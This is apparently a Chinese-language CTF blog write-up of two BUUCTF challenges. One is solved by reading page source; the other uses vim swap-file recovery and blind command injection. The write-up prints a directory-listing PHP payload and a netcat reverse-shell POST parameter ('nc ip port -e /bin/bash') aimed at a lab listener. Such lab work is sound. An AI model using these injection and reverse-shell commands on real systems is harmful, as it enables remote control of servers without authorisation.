文章目录
- [BSidesCF 2019]Futurella
- [BJDCTF 2nd]duangShell
- 反弹姿势1(未成功)
- 反弹姿势2
[BSidesCF 2019]Futurella
好久没看过这么简单的题目了，哇哇哇
整了个火星文，看不懂查看源代码
![[BUUCTF]第一天训练_linux](/i/li/?n=2&i=images/blog/202210/26153607_6358e3671383a7857.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
![[BUUCTF]第一天训练_linux_02](/i/li/?n=2&i=images/blog/202210/26153607_6358e367529f244878.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
[BJDCTF 2nd]duangShell
点进去发现是swp源码泄露
![[BUUCTF]第一天训练_内网_03](/i/li/?n=2&i=images/blog/202210/26153607_6358e367707c573484.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
利用vim -r index.php.swp恢复文件
![[BUUCTF]第一天训练_linux_04](/i/li/?n=2&i=images/blog/202210/26153607_6358e3679704d63820.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
这里我知道了exec函数与system类似但是没有回显，所以我传入的参数girl_friend=print_r(scandir(dirname(__FILE__)))会没有显示
看了别人的wp，发现我们只能用反弹shell的方法了，根据提示
![[BUUCTF]第一天训练_ide_05](/i/li/?n=2&i=images/blog/202210/26153607_6358e367c2caa57782.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
由于这题的环境靶机无法访问外网，所以需要一个内网靶机来做，这里就直接用了题目中推荐的Basic中的Linux Labs，由于这台靶机已经安装了lamp,已指出http服务，利用xshell连接主机
![[BUUCTF]第一天训练_linux_06](/i/li/?n=2&i=images/blog/202210/26153607_6358e367e6b2269368.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
![[BUUCTF]第一天训练_ide_07](/i/li/?n=2&i=images/blog/202210/26153608_6358e3680f59514119.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
反弹姿势1(未成功)
![[BUUCTF]第一天训练_ide_08](/i/li/?n=2&i=images/blog/202210/26153608_6358e3683782591779.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
![[BUUCTF]第一天训练_ide_09](/i/li/?n=2&i=images/blog/202210/26153608_6358e3686533034907.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
开启
![[BUUCTF]第一天训练_linux_10](/i/li/?n=2&i=images/blog/202210/26153608_6358e3689a96e61412.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
反弹shell
![[BUUCTF]第一天训练_内网_11](/i/li/?n=2&i=images/blog/202210/26153608_6358e368bf7a645834.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
不知道为啥通不了迷惑？？？
反弹姿势2
post参数：nc ip port -e /bin/bash
![[BUUCTF]第一天训练_ide_12](/i/li/?n=2&i=images/blog/202210/26153609_6358e369317c577768.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
![[BUUCTF]第一天训练_linux_13](/i/li/?n=2&i=images/blog/202210/26153609_6358e3695b81743754.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")
这个靶机真垃圾
![[BUUCTF]第一天训练_内网_14](/i/li/?n=2&i=images/blog/202210/26153609_6358e3698654b67883.png?,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=/resize,m_fixed,w_1184 "在这里插入图片描述")